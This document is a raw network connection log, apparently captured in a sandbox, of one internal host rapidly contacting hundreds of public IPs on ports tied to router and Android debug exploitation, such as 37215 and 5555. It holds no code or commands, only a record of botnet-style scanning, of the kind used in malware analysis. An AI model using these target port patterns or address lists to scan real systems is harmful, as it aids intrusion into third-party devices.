Feb 12, 2023 21:24:44.889738083 CET	52981	37215	192.168.2.23	157.138.162.41
Feb 12, 2023 21:24:44.889738083 CET	52981	37215	192.168.2.23	157.207.109.172
Feb 12, 2023 21:24:44.889744997 CET	52981	37215	192.168.2.23	41.121.28.149
Feb 12, 2023 21:24:44.889744997 CET	52981	37215	192.168.2.23	168.206.48.244
Feb 12, 2023 21:24:44.889744997 CET	52981	37215	192.168.2.23	197.66.140.239
Feb 12, 2023 21:24:44.889744997 CET	52981	37215	192.168.2.23	41.16.72.37
Feb 12, 2023 21:24:44.889744997 CET	52981	37215	192.168.2.23	152.51.235.24
Feb 12, 2023 21:24:44.889751911 CET	52981	37215	192.168.2.23	140.68.108.135
Feb 12, 2023 21:24:44.889751911 CET	52981	37215	192.168.2.23	69.79.241.132
Feb 12, 2023 21:24:44.889755011 CET	52981	37215	192.168.2.23	157.104.197.246
Feb 12, 2023 21:24:44.889755011 CET	52981	37215	192.168.2.23	157.200.37.106
Feb 12, 2023 21:24:44.889755011 CET	52981	37215	192.168.2.23	197.31.154.44
Feb 12, 2023 21:24:44.889756918 CET	52981	37215	192.168.2.23	41.151.63.169
Feb 12, 2023 21:24:44.889755011 CET	52981	37215	192.168.2.23	157.82.101.151
Feb 12, 2023 21:24:44.889755011 CET	53274	37215	192.168.2.23	197.199.51.85
Feb 12, 2023 21:24:44.889761925 CET	52981	37215	192.168.2.23	101.15.157.133
Feb 12, 2023 21:24:44.889761925 CET	52981	37215	192.168.2.23	157.95.75.163
Feb 12, 2023 21:24:44.889761925 CET	52981	37215	192.168.2.23	153.126.172.46
Feb 12, 2023 21:24:44.889761925 CET	52981	37215	192.168.2.23	157.1.81.204
Feb 12, 2023 21:24:44.889761925 CET	52981	37215	192.168.2.23	157.55.116.32
Feb 12, 2023 21:24:44.889810085 CET	52981	37215	192.168.2.23	185.230.122.14
Feb 12, 2023 21:24:44.889810085 CET	52981	37215	192.168.2.23	157.101.176.198
Feb 12, 2023 21:24:44.889810085 CET	52981	37215	192.168.2.23	157.224.10.149
Feb 12, 2023 21:24:44.889810085 CET	52981	37215	192.168.2.23	157.113.12.50
Feb 12, 2023 21:24:44.889810085 CET	52981	37215	192.168.2.23	135.108.235.224
Feb 12, 2023 21:24:44.889810085 CET	52981	37215	192.168.2.23	41.129.79.118
Feb 12, 2023 21:24:44.889810085 CET	52981	37215	192.168.2.23	197.224.21.138
Feb 12, 2023 21:24:44.889832020 CET	40274	37215	192.168.2.23	77.131.0.7
Feb 12, 2023 21:24:44.889837027 CET	52981	37215	192.168.2.23	157.227.70.63
Feb 12, 2023 21:24:44.889837027 CET	52981	37215	192.168.2.23	197.182.130.252
Feb 12, 2023 21:24:44.889837027 CET	52981	37215	192.168.2.23	157.121.37.31
Feb 12, 2023 21:24:44.889837027 CET	52981	37215	192.168.2.23	157.176.251.4
Feb 12, 2023 21:24:44.889837027 CET	52981	37215	192.168.2.23	157.99.90.186
Feb 12, 2023 21:24:44.906310081 CET	37215	52981	197.6.91.16	192.168.2.23
Feb 12, 2023 21:24:44.911998034 CET	54676	37215	192.168.2.23	197.197.49.49
Feb 12, 2023 21:24:44.965909958 CET	37215	52981	197.26.232.102	192.168.2.23
Feb 12, 2023 21:24:44.968472004 CET	5555	22272	103.94.6.164	192.168.2.23
Feb 12, 2023 21:24:44.969183922 CET	37215	52981	197.193.57.129	192.168.2.23
Feb 12, 2023 21:24:44.969352007 CET	52981	37215	192.168.2.23	197.193.57.129
Feb 12, 2023 21:24:45.025188923 CET	5555	22272	187.93.173.169	192.168.2.23
Feb 12, 2023 21:24:45.041057110 CET	37215	52981	41.189.180.73	192.168.2.23
Feb 12, 2023 21:24:45.063600063 CET	5555	22272	61.255.5.111	192.168.2.23
Feb 12, 2023 21:24:45.063642979 CET	5555	22272	221.143.145.176	192.168.2.23
Feb 12, 2023 21:24:45.071906090 CET	54366	8080	192.168.2.23	51.57.46.55
Feb 12, 2023 21:24:45.071927071 CET	55474	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:45.071955919 CET	58516	8080	192.168.2.23	49.54.52.46
Feb 12, 2023 21:24:45.099323034 CET	59980	80	192.168.2.23	50.49.54.46
Feb 12, 2023 21:24:45.103883028 CET	36732	8080	192.168.2.23	55.52.46.49
Feb 12, 2023 21:24:45.103910923 CET	40794	8080	192.168.2.23	49.52.52.46
Feb 12, 2023 21:24:45.135987997 CET	34000	8080	192.168.2.23	50.46.49.52
Feb 12, 2023 21:24:45.157303095 CET	37215	52981	115.6.217.137	192.168.2.23
Feb 12, 2023 21:24:45.167948961 CET	47160	8080	192.168.2.23	50.49.55.46
Feb 12, 2023 21:24:45.167994976 CET	58570	8080	192.168.2.23	50.49.46.54
Feb 12, 2023 21:24:45.167995930 CET	33284	8080	192.168.2.23	49.52.50.46
Feb 12, 2023 21:24:45.168003082 CET	60180	80	192.168.2.23	54.53.46.49
Feb 12, 2023 21:24:45.168021917 CET	50072	8080	192.168.2.23	49.57.51.46
Feb 12, 2023 21:24:45.187058926 CET	37215	52981	222.239.22.180	192.168.2.23
Feb 12, 2023 21:24:45.401381016 CET	52214	81	192.168.2.23	50.49.54.46
Feb 12, 2023 21:24:45.423892021 CET	56284	5555	192.168.2.23	152.30.23.146
Feb 12, 2023 21:24:45.455997944 CET	35692	49152	192.168.2.23	54.53.46.49
Feb 12, 2023 21:24:45.487971067 CET	60612	37215	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:45.487983942 CET	32862	37215	192.168.2.23	51.57.46.55
Feb 12, 2023 21:24:45.487983942 CET	33954	37215	192.168.2.23	49.54.52.46
Feb 12, 2023 21:24:45.520026922 CET	41520	37215	192.168.2.23	55.52.46.49
Feb 12, 2023 21:24:45.520064116 CET	50360	37215	192.168.2.23	49.52.52.46
Feb 12, 2023 21:24:45.705193996 CET	39806	80	192.168.2.23	51.52.46.49
Feb 12, 2023 21:24:45.775944948 CET	34914	8080	192.168.2.23	49.49.54.46
Feb 12, 2023 21:24:45.783665895 CET	22272	5555	192.168.2.23	20.196.41.217
Feb 12, 2023 21:24:45.783668995 CET	22272	5555	192.168.2.23	17.68.252.69
Feb 12, 2023 21:24:45.783683062 CET	22272	5555	192.168.2.23	119.246.197.14
Feb 12, 2023 21:24:45.783705950 CET	22272	5555	192.168.2.23	84.168.41.42
Feb 12, 2023 21:24:45.783727884 CET	22272	5555	192.168.2.23	2.106.33.78
Feb 12, 2023 21:24:45.783741951 CET	22272	5555	192.168.2.23	106.13.71.205
Feb 12, 2023 21:24:45.783741951 CET	22272	5555	192.168.2.23	176.223.221.40
Feb 12, 2023 21:24:45.783766985 CET	22272	5555	192.168.2.23	84.6.66.85
Feb 12, 2023 21:24:45.783812046 CET	22272	5555	192.168.2.23	35.109.194.196
Feb 12, 2023 21:24:45.783827066 CET	22272	5555	192.168.2.23	205.117.168.248
Feb 12, 2023 21:24:45.783835888 CET	22272	5555	192.168.2.23	104.87.17.41
Feb 12, 2023 21:24:45.783838034 CET	22272	5555	192.168.2.23	57.140.134.183
Feb 12, 2023 21:24:45.783879995 CET	22272	5555	192.168.2.23	150.128.45.122
Feb 12, 2023 21:24:45.783879995 CET	22272	5555	192.168.2.23	186.253.50.47
Feb 12, 2023 21:24:45.783907890 CET	22272	5555	192.168.2.23	143.30.79.237
Feb 12, 2023 21:24:45.783921957 CET	22272	5555	192.168.2.23	93.251.108.75
Feb 12, 2023 21:24:45.783950090 CET	22272	5555	192.168.2.23	222.0.134.6
Feb 12, 2023 21:24:45.783951044 CET	22272	5555	192.168.2.23	87.163.101.44
Feb 12, 2023 21:24:45.783951044 CET	22272	5555	192.168.2.23	165.111.241.75
Feb 12, 2023 21:24:45.783968925 CET	22272	5555	192.168.2.23	203.118.41.20
Feb 12, 2023 21:24:45.783970118 CET	22272	5555	192.168.2.23	204.77.122.229
Feb 12, 2023 21:24:45.784018040 CET	22272	5555	192.168.2.23	209.79.166.25
Feb 12, 2023 21:24:45.784019947 CET	22272	5555	192.168.2.23	76.132.54.191
Feb 12, 2023 21:24:45.784030914 CET	22272	5555	192.168.2.23	154.113.157.156
Feb 12, 2023 21:24:45.784030914 CET	22272	5555	192.168.2.23	188.7.113.178
Feb 12, 2023 21:24:45.784060001 CET	22272	5555	192.168.2.23	133.135.169.245
Feb 12, 2023 21:24:45.784071922 CET	22272	5555	192.168.2.23	181.56.136.70
Feb 12, 2023 21:24:45.784090996 CET	22272	5555	192.168.2.23	190.223.61.183
Feb 12, 2023 21:24:45.784111977 CET	22272	5555	192.168.2.23	100.136.81.56
Feb 12, 2023 21:24:45.784147024 CET	22272	5555	192.168.2.23	199.9.19.105
Feb 12, 2023 21:24:45.784158945 CET	22272	5555	192.168.2.23	64.122.183.177
Feb 12, 2023 21:24:45.784190893 CET	22272	5555	192.168.2.23	212.74.244.39
Feb 12, 2023 21:24:45.784198046 CET	22272	5555	192.168.2.23	94.59.168.177
Feb 12, 2023 21:24:45.784235954 CET	22272	5555	192.168.2.23	62.55.70.231
Feb 12, 2023 21:24:45.784249067 CET	22272	5555	192.168.2.23	52.56.175.249
Feb 12, 2023 21:24:45.784286022 CET	22272	5555	192.168.2.23	158.219.129.86
Feb 12, 2023 21:24:45.784292936 CET	22272	5555	192.168.2.23	173.46.133.74
Feb 12, 2023 21:24:45.784321070 CET	22272	5555	192.168.2.23	211.253.230.13
Feb 12, 2023 21:24:45.784348011 CET	22272	5555	192.168.2.23	66.65.22.137
Feb 12, 2023 21:24:45.784351110 CET	22272	5555	192.168.2.23	75.153.128.250
Feb 12, 2023 21:24:45.784390926 CET	22272	5555	192.168.2.23	120.17.85.119
Feb 12, 2023 21:24:45.784410000 CET	22272	5555	192.168.2.23	13.4.16.222
Feb 12, 2023 21:24:45.784441948 CET	22272	5555	192.168.2.23	54.95.43.132
Feb 12, 2023 21:24:45.784449100 CET	22272	5555	192.168.2.23	130.7.128.133
Feb 12, 2023 21:24:45.784456968 CET	22272	5555	192.168.2.23	117.21.51.251
Feb 12, 2023 21:24:45.784466982 CET	22272	5555	192.168.2.23	117.233.83.17
Feb 12, 2023 21:24:45.784498930 CET	22272	5555	192.168.2.23	84.99.32.162
Feb 12, 2023 21:24:45.784523010 CET	22272	5555	192.168.2.23	34.26.53.189
Feb 12, 2023 21:24:45.784524918 CET	22272	5555	192.168.2.23	18.168.155.7
Feb 12, 2023 21:24:45.784632921 CET	22272	5555	192.168.2.23	200.45.17.164
Feb 12, 2023 21:24:45.784641981 CET	22272	5555	192.168.2.23	48.36.7.98
Feb 12, 2023 21:24:45.784647942 CET	22272	5555	192.168.2.23	195.175.111.155
Feb 12, 2023 21:24:45.784647942 CET	22272	5555	192.168.2.23	154.156.234.255
Feb 12, 2023 21:24:45.784648895 CET	22272	5555	192.168.2.23	96.251.199.213
Feb 12, 2023 21:24:45.784647942 CET	22272	5555	192.168.2.23	165.166.160.62
Feb 12, 2023 21:24:45.784663916 CET	22272	5555	192.168.2.23	191.200.63.44
Feb 12, 2023 21:24:45.784663916 CET	22272	5555	192.168.2.23	100.5.126.101
Feb 12, 2023 21:24:45.784663916 CET	22272	5555	192.168.2.23	118.55.51.99
Feb 12, 2023 21:24:45.784667969 CET	22272	5555	192.168.2.23	24.107.97.246
Feb 12, 2023 21:24:45.784667969 CET	22272	5555	192.168.2.23	91.10.173.88
Feb 12, 2023 21:24:45.784673929 CET	22272	5555	192.168.2.23	68.44.41.27
Feb 12, 2023 21:24:45.784683943 CET	22272	5555	192.168.2.23	78.150.90.163
Feb 12, 2023 21:24:45.784683943 CET	22272	5555	192.168.2.23	150.16.3.23
Feb 12, 2023 21:24:45.784683943 CET	22272	5555	192.168.2.23	23.144.253.243
Feb 12, 2023 21:24:45.784687996 CET	22272	5555	192.168.2.23	54.247.47.56
Feb 12, 2023 21:24:45.784687996 CET	22272	5555	192.168.2.23	98.167.229.159
Feb 12, 2023 21:24:45.784702063 CET	22272	5555	192.168.2.23	51.20.220.30
Feb 12, 2023 21:24:45.784734011 CET	22272	5555	192.168.2.23	178.213.42.217
Feb 12, 2023 21:24:45.784751892 CET	22272	5555	192.168.2.23	110.58.117.8
Feb 12, 2023 21:24:45.784789085 CET	22272	5555	192.168.2.23	36.218.117.5
Feb 12, 2023 21:24:45.784825087 CET	22272	5555	192.168.2.23	161.205.108.228
Feb 12, 2023 21:24:45.784847021 CET	22272	5555	192.168.2.23	64.71.48.45
Feb 12, 2023 21:24:45.784847975 CET	22272	5555	192.168.2.23	188.61.35.98
Feb 12, 2023 21:24:45.784882069 CET	22272	5555	192.168.2.23	51.78.46.254
Feb 12, 2023 21:24:45.784928083 CET	22272	5555	192.168.2.23	89.229.101.154
Feb 12, 2023 21:24:45.784934044 CET	22272	5555	192.168.2.23	174.189.171.123
Feb 12, 2023 21:24:45.784975052 CET	22272	5555	192.168.2.23	52.56.107.222
Feb 12, 2023 21:24:45.784975052 CET	22272	5555	192.168.2.23	182.67.14.130
Feb 12, 2023 21:24:45.784996986 CET	22272	5555	192.168.2.23	177.196.128.138
Feb 12, 2023 21:24:45.785012007 CET	22272	5555	192.168.2.23	39.78.85.33
Feb 12, 2023 21:24:45.785046101 CET	22272	5555	192.168.2.23	205.102.58.168
Feb 12, 2023 21:24:45.785049915 CET	22272	5555	192.168.2.23	61.14.84.107
Feb 12, 2023 21:24:45.785085917 CET	22272	5555	192.168.2.23	145.235.68.115
Feb 12, 2023 21:24:45.785089970 CET	22272	5555	192.168.2.23	87.235.106.59
Feb 12, 2023 21:24:45.785110950 CET	22272	5555	192.168.2.23	82.56.229.71
Feb 12, 2023 21:24:45.785116911 CET	22272	5555	192.168.2.23	1.164.215.198
Feb 12, 2023 21:24:45.785136938 CET	22272	5555	192.168.2.23	123.59.89.18
Feb 12, 2023 21:24:45.785151005 CET	22272	5555	192.168.2.23	95.61.84.157
Feb 12, 2023 21:24:45.785178900 CET	22272	5555	192.168.2.23	198.158.22.197
Feb 12, 2023 21:24:45.785188913 CET	22272	5555	192.168.2.23	25.60.24.59
Feb 12, 2023 21:24:45.785203934 CET	22272	5555	192.168.2.23	50.238.96.234
Feb 12, 2023 21:24:45.785212040 CET	22272	5555	192.168.2.23	176.67.59.250
Feb 12, 2023 21:24:45.785243034 CET	22272	5555	192.168.2.23	187.48.164.16
Feb 12, 2023 21:24:45.785259008 CET	22272	5555	192.168.2.23	32.193.67.229
Feb 12, 2023 21:24:45.785274982 CET	22272	5555	192.168.2.23	99.245.54.235
Feb 12, 2023 21:24:45.785275936 CET	22272	5555	192.168.2.23	114.122.58.190
Feb 12, 2023 21:24:45.785295010 CET	22272	5555	192.168.2.23	133.64.52.115
Feb 12, 2023 21:24:45.785310030 CET	22272	5555	192.168.2.23	120.111.179.127
Feb 12, 2023 21:24:45.785332918 CET	22272	5555	192.168.2.23	211.203.241.180
Feb 12, 2023 21:24:45.785346985 CET	22272	5555	192.168.2.23	193.165.54.249
Feb 12, 2023 21:24:45.785366058 CET	22272	5555	192.168.2.23	131.214.174.34
Feb 12, 2023 21:24:45.785378933 CET	22272	5555	192.168.2.23	72.4.38.165
Feb 12, 2023 21:24:45.785396099 CET	22272	5555	192.168.2.23	62.178.218.48
Feb 12, 2023 21:24:45.785398960 CET	22272	5555	192.168.2.23	73.19.37.217
Feb 12, 2023 21:24:45.785418987 CET	22272	5555	192.168.2.23	86.163.143.251
Feb 12, 2023 21:24:45.785445929 CET	22272	5555	192.168.2.23	132.250.77.228
Feb 12, 2023 21:24:45.785453081 CET	22272	5555	192.168.2.23	153.201.35.113
Feb 12, 2023 21:24:45.785470009 CET	22272	5555	192.168.2.23	160.227.18.130
Feb 12, 2023 21:24:45.785478115 CET	22272	5555	192.168.2.23	78.180.143.245
Feb 12, 2023 21:24:45.785492897 CET	22272	5555	192.168.2.23	13.196.229.152
Feb 12, 2023 21:24:45.785517931 CET	22272	5555	192.168.2.23	213.33.14.210
Feb 12, 2023 21:24:45.785542011 CET	22272	5555	192.168.2.23	190.93.117.193
Feb 12, 2023 21:24:45.785542011 CET	22272	5555	192.168.2.23	199.12.216.117
Feb 12, 2023 21:24:45.785564899 CET	22272	5555	192.168.2.23	101.244.40.69
Feb 12, 2023 21:24:45.785566092 CET	22272	5555	192.168.2.23	78.208.28.250
Feb 12, 2023 21:24:45.785578012 CET	22272	5555	192.168.2.23	208.242.210.172
Feb 12, 2023 21:24:45.785604954 CET	22272	5555	192.168.2.23	105.233.85.94
Feb 12, 2023 21:24:45.785623074 CET	22272	5555	192.168.2.23	83.34.157.83
Feb 12, 2023 21:24:45.785651922 CET	22272	5555	192.168.2.23	123.119.221.217
Feb 12, 2023 21:24:45.785671949 CET	22272	5555	192.168.2.23	189.49.170.85
Feb 12, 2023 21:24:45.785689116 CET	22272	5555	192.168.2.23	4.17.189.27
Feb 12, 2023 21:24:45.785691023 CET	22272	5555	192.168.2.23	135.85.64.70
Feb 12, 2023 21:24:45.785707951 CET	22272	5555	192.168.2.23	91.220.194.133
Feb 12, 2023 21:24:45.785744905 CET	22272	5555	192.168.2.23	25.177.114.10
Feb 12, 2023 21:24:45.785752058 CET	22272	5555	192.168.2.23	112.223.56.17
Feb 12, 2023 21:24:45.785758972 CET	22272	5555	192.168.2.23	174.151.231.159
Feb 12, 2023 21:24:45.785789013 CET	22272	5555	192.168.2.23	132.245.196.121
Feb 12, 2023 21:24:45.785789013 CET	22272	5555	192.168.2.23	218.252.32.208
Feb 12, 2023 21:24:45.785809994 CET	22272	5555	192.168.2.23	59.111.189.158
Feb 12, 2023 21:24:45.785830021 CET	22272	5555	192.168.2.23	9.59.179.240
Feb 12, 2023 21:24:45.785855055 CET	22272	5555	192.168.2.23	36.145.68.27
Feb 12, 2023 21:24:45.785876989 CET	22272	5555	192.168.2.23	185.209.50.130
Feb 12, 2023 21:24:45.785891056 CET	22272	5555	192.168.2.23	93.62.195.111
Feb 12, 2023 21:24:45.785940886 CET	22272	5555	192.168.2.23	54.222.6.248
Feb 12, 2023 21:24:45.785939932 CET	22272	5555	192.168.2.23	158.113.45.30
Feb 12, 2023 21:24:45.785940886 CET	22272	5555	192.168.2.23	35.207.62.87
Feb 12, 2023 21:24:45.785940886 CET	22272	5555	192.168.2.23	128.71.249.208
Feb 12, 2023 21:24:45.785948038 CET	22272	5555	192.168.2.23	168.250.39.107
Feb 12, 2023 21:24:45.785948038 CET	22272	5555	192.168.2.23	125.25.109.44
Feb 12, 2023 21:24:45.785986900 CET	22272	5555	192.168.2.23	189.215.181.147
Feb 12, 2023 21:24:45.785988092 CET	22272	5555	192.168.2.23	124.209.229.121
Feb 12, 2023 21:24:45.786007881 CET	22272	5555	192.168.2.23	70.129.21.70
Feb 12, 2023 21:24:45.786027908 CET	22272	5555	192.168.2.23	83.209.184.32
Feb 12, 2023 21:24:45.786048889 CET	22272	5555	192.168.2.23	111.36.222.180
Feb 12, 2023 21:24:45.786068916 CET	22272	5555	192.168.2.23	20.38.247.41
Feb 12, 2023 21:24:45.786091089 CET	22272	5555	192.168.2.23	87.207.108.110
Feb 12, 2023 21:24:45.786106110 CET	22272	5555	192.168.2.23	129.132.234.43
Feb 12, 2023 21:24:45.786122084 CET	22272	5555	192.168.2.23	36.227.240.171
Feb 12, 2023 21:24:45.786148071 CET	22272	5555	192.168.2.23	175.178.223.143
Feb 12, 2023 21:24:45.786178112 CET	22272	5555	192.168.2.23	158.196.30.138
Feb 12, 2023 21:24:45.786185980 CET	22272	5555	192.168.2.23	167.195.128.171
Feb 12, 2023 21:24:45.786199093 CET	22272	5555	192.168.2.23	134.60.36.29
Feb 12, 2023 21:24:45.786220074 CET	22272	5555	192.168.2.23	99.64.140.81
Feb 12, 2023 21:24:45.786231041 CET	22272	5555	192.168.2.23	61.32.158.161
Feb 12, 2023 21:24:45.786257982 CET	22272	5555	192.168.2.23	122.252.78.143
Feb 12, 2023 21:24:45.786268950 CET	22272	5555	192.168.2.23	88.221.168.120
Feb 12, 2023 21:24:45.786290884 CET	22272	5555	192.168.2.23	131.176.209.119
Feb 12, 2023 21:24:45.786308050 CET	22272	5555	192.168.2.23	195.54.154.186
Feb 12, 2023 21:24:45.786319971 CET	22272	5555	192.168.2.23	46.113.96.175
Feb 12, 2023 21:24:45.786345005 CET	22272	5555	192.168.2.23	222.231.244.54
Feb 12, 2023 21:24:45.808223009 CET	47884	7574	192.168.2.23	50.49.54.46
Feb 12, 2023 21:24:45.817547083 CET	5555	22272	185.209.50.130	192.168.2.23
Feb 12, 2023 21:24:45.890677929 CET	52981	37215	192.168.2.23	85.36.27.36
Feb 12, 2023 21:24:45.890722990 CET	52981	37215	192.168.2.23	41.8.172.67
Feb 12, 2023 21:24:45.890739918 CET	52981	37215	192.168.2.23	41.108.64.208
Feb 12, 2023 21:24:45.890739918 CET	52981	37215	192.168.2.23	41.65.212.87
Feb 12, 2023 21:24:45.890741110 CET	52981	37215	192.168.2.23	197.208.19.166
Feb 12, 2023 21:24:45.890742064 CET	52981	37215	192.168.2.23	197.90.90.96
Feb 12, 2023 21:24:45.890742064 CET	52981	37215	192.168.2.23	41.182.175.115
Feb 12, 2023 21:24:45.890742064 CET	52981	37215	192.168.2.23	157.24.178.106
Feb 12, 2023 21:24:45.890752077 CET	52981	37215	192.168.2.23	197.125.131.56
Feb 12, 2023 21:24:45.890752077 CET	52981	37215	192.168.2.23	197.110.15.144
Feb 12, 2023 21:24:45.890769005 CET	52981	37215	192.168.2.23	197.65.100.166
Feb 12, 2023 21:24:45.890778065 CET	52981	37215	192.168.2.23	160.57.41.42
Feb 12, 2023 21:24:45.890778065 CET	52981	37215	192.168.2.23	169.55.3.96
Feb 12, 2023 21:24:45.890779018 CET	52981	37215	192.168.2.23	41.31.87.14
Feb 12, 2023 21:24:45.890791893 CET	52981	37215	192.168.2.23	171.169.189.212
Feb 12, 2023 21:24:45.890793085 CET	52981	37215	192.168.2.23	157.96.255.101
Feb 12, 2023 21:24:45.890794992 CET	52981	37215	192.168.2.23	157.159.183.121
Feb 12, 2023 21:24:45.890794992 CET	52981	37215	192.168.2.23	41.90.199.36
Feb 12, 2023 21:24:45.890793085 CET	52981	37215	192.168.2.23	146.46.16.135
Feb 12, 2023 21:24:45.890794992 CET	52981	37215	192.168.2.23	197.210.136.122
Feb 12, 2023 21:24:45.890793085 CET	52981	37215	192.168.2.23	197.65.132.193
Feb 12, 2023 21:24:45.890819073 CET	52981	37215	192.168.2.23	77.129.74.43
Feb 12, 2023 21:24:45.890844107 CET	52981	37215	192.168.2.23	157.146.159.166
Feb 12, 2023 21:24:45.890849113 CET	52981	37215	192.168.2.23	197.217.49.32
Feb 12, 2023 21:24:45.890861034 CET	52981	37215	192.168.2.23	157.90.143.85
Feb 12, 2023 21:24:45.890861034 CET	52981	37215	192.168.2.23	157.156.232.101
Feb 12, 2023 21:24:45.890866041 CET	52981	37215	192.168.2.23	41.101.18.253
Feb 12, 2023 21:24:45.890866995 CET	52981	37215	192.168.2.23	157.190.215.108
Feb 12, 2023 21:24:45.890886068 CET	52981	37215	192.168.2.23	166.230.114.69
Feb 12, 2023 21:24:45.890887976 CET	52981	37215	192.168.2.23	41.119.27.175
Feb 12, 2023 21:24:45.890903950 CET	52981	37215	192.168.2.23	135.120.122.175
Feb 12, 2023 21:24:45.890917063 CET	52981	37215	192.168.2.23	197.14.47.242
Feb 12, 2023 21:24:45.890928030 CET	52981	37215	192.168.2.23	41.135.183.189
Feb 12, 2023 21:24:45.890958071 CET	52981	37215	192.168.2.23	157.241.208.235
Feb 12, 2023 21:24:45.890964985 CET	52981	37215	192.168.2.23	157.126.150.94
Feb 12, 2023 21:24:45.890965939 CET	52981	37215	192.168.2.23	41.42.18.8
Feb 12, 2023 21:24:45.890974998 CET	52981	37215	192.168.2.23	72.172.42.192
Feb 12, 2023 21:24:45.890991926 CET	52981	37215	192.168.2.23	41.169.161.239
Feb 12, 2023 21:24:45.891002893 CET	52981	37215	192.168.2.23	157.148.65.1
Feb 12, 2023 21:24:45.891024113 CET	52981	37215	192.168.2.23	64.153.119.237
Feb 12, 2023 21:24:45.891043901 CET	52981	37215	192.168.2.23	157.144.245.19
Feb 12, 2023 21:24:45.891048908 CET	52981	37215	192.168.2.23	209.160.232.134
Feb 12, 2023 21:24:45.891055107 CET	52981	37215	192.168.2.23	197.78.17.62
Feb 12, 2023 21:24:45.891078949 CET	52981	37215	192.168.2.23	41.253.41.17
Feb 12, 2023 21:24:45.891079903 CET	52981	37215	192.168.2.23	25.66.198.41
Feb 12, 2023 21:24:45.891089916 CET	52981	37215	192.168.2.23	41.37.110.27
Feb 12, 2023 21:24:45.891103983 CET	52981	37215	192.168.2.23	157.92.122.202
Feb 12, 2023 21:24:45.891103983 CET	52981	37215	192.168.2.23	157.141.238.188
Feb 12, 2023 21:24:45.891117096 CET	52981	37215	192.168.2.23	165.66.50.87
Feb 12, 2023 21:24:45.891134977 CET	52981	37215	192.168.2.23	197.182.38.116
Feb 12, 2023 21:24:45.891140938 CET	52981	37215	192.168.2.23	41.124.172.217
Feb 12, 2023 21:24:45.891146898 CET	52981	37215	192.168.2.23	41.209.225.66
Feb 12, 2023 21:24:45.891169071 CET	52981	37215	192.168.2.23	41.131.64.163
Feb 12, 2023 21:24:45.891170025 CET	52981	37215	192.168.2.23	157.57.5.21
Feb 12, 2023 21:24:45.891187906 CET	52981	37215	192.168.2.23	157.91.47.75
Feb 12, 2023 21:24:45.891207933 CET	52981	37215	192.168.2.23	41.169.24.159
Feb 12, 2023 21:24:45.891187906 CET	52981	37215	192.168.2.23	197.27.151.193
Feb 12, 2023 21:24:45.891187906 CET	52981	37215	192.168.2.23	157.96.93.138
Feb 12, 2023 21:24:45.891238928 CET	52981	37215	192.168.2.23	197.106.187.49
Feb 12, 2023 21:24:45.891247988 CET	52981	37215	192.168.2.23	157.37.217.5
Feb 12, 2023 21:24:45.891263962 CET	52981	37215	192.168.2.23	173.150.237.237
Feb 12, 2023 21:24:45.891263962 CET	52981	37215	192.168.2.23	41.89.60.213
Feb 12, 2023 21:24:45.891266108 CET	52981	37215	192.168.2.23	157.73.139.30
Feb 12, 2023 21:24:45.891298056 CET	52981	37215	192.168.2.23	157.160.150.172
Feb 12, 2023 21:24:45.891305923 CET	52981	37215	192.168.2.23	197.136.49.250
Feb 12, 2023 21:24:45.891311884 CET	52981	37215	192.168.2.23	157.20.0.254
Feb 12, 2023 21:24:45.891326904 CET	52981	37215	192.168.2.23	197.60.119.119
Feb 12, 2023 21:24:45.891340017 CET	52981	37215	192.168.2.23	41.30.222.208
Feb 12, 2023 21:24:45.891350985 CET	52981	37215	192.168.2.23	157.82.112.203
Feb 12, 2023 21:24:45.891372919 CET	52981	37215	192.168.2.23	152.173.103.36
Feb 12, 2023 21:24:45.891381025 CET	52981	37215	192.168.2.23	197.133.59.112
Feb 12, 2023 21:24:45.891383886 CET	52981	37215	192.168.2.23	217.105.6.170
Feb 12, 2023 21:24:45.891383886 CET	52981	37215	192.168.2.23	193.81.244.186
Feb 12, 2023 21:24:45.891383886 CET	52981	37215	192.168.2.23	128.7.158.45
Feb 12, 2023 21:24:45.891392946 CET	52981	37215	192.168.2.23	193.63.34.154
Feb 12, 2023 21:24:45.891392946 CET	52981	37215	192.168.2.23	41.70.66.157
Feb 12, 2023 21:24:45.891416073 CET	52981	37215	192.168.2.23	197.122.254.176
Feb 12, 2023 21:24:45.891433954 CET	52981	37215	192.168.2.23	144.221.229.106
Feb 12, 2023 21:24:45.891436100 CET	52981	37215	192.168.2.23	191.13.45.65
Feb 12, 2023 21:24:45.891453981 CET	52981	37215	192.168.2.23	197.237.50.117
Feb 12, 2023 21:24:45.891463995 CET	52981	37215	192.168.2.23	197.214.138.116
Feb 12, 2023 21:24:45.891469955 CET	52981	37215	192.168.2.23	157.34.157.81
Feb 12, 2023 21:24:45.891479015 CET	52981	37215	192.168.2.23	157.204.164.104
Feb 12, 2023 21:24:45.891498089 CET	52981	37215	192.168.2.23	213.207.72.106
Feb 12, 2023 21:24:45.891526937 CET	52981	37215	192.168.2.23	178.53.110.185
Feb 12, 2023 21:24:45.891526937 CET	52981	37215	192.168.2.23	157.95.229.33
Feb 12, 2023 21:24:45.891561031 CET	52981	37215	192.168.2.23	155.118.53.70
Feb 12, 2023 21:24:45.891570091 CET	52981	37215	192.168.2.23	197.188.228.64
Feb 12, 2023 21:24:45.891570091 CET	52981	37215	192.168.2.23	197.33.176.62
Feb 12, 2023 21:24:45.891588926 CET	52981	37215	192.168.2.23	157.125.188.72
Feb 12, 2023 21:24:45.891591072 CET	52981	37215	192.168.2.23	197.244.189.154
Feb 12, 2023 21:24:45.891590118 CET	52981	37215	192.168.2.23	197.194.154.125
Feb 12, 2023 21:24:45.891618967 CET	52981	37215	192.168.2.23	221.212.249.205
Feb 12, 2023 21:24:45.891629934 CET	52981	37215	192.168.2.23	157.113.219.154
Feb 12, 2023 21:24:45.891639948 CET	52981	37215	192.168.2.23	197.254.117.203
Feb 12, 2023 21:24:45.891639948 CET	52981	37215	192.168.2.23	197.158.3.79
Feb 12, 2023 21:24:45.891652107 CET	52981	37215	192.168.2.23	36.201.207.131
Feb 12, 2023 21:24:45.891652107 CET	52981	37215	192.168.2.23	157.116.217.181
Feb 12, 2023 21:24:45.891673088 CET	52981	37215	192.168.2.23	197.244.84.30
Feb 12, 2023 21:24:45.891684055 CET	52981	37215	192.168.2.23	196.124.200.14
Feb 12, 2023 21:24:45.891691923 CET	52981	37215	192.168.2.23	157.14.164.160
Feb 12, 2023 21:24:45.891695023 CET	52981	37215	192.168.2.23	41.15.22.128
Feb 12, 2023 21:24:45.891696930 CET	52981	37215	192.168.2.23	207.118.241.162
Feb 12, 2023 21:24:45.891709089 CET	52981	37215	192.168.2.23	41.110.113.130
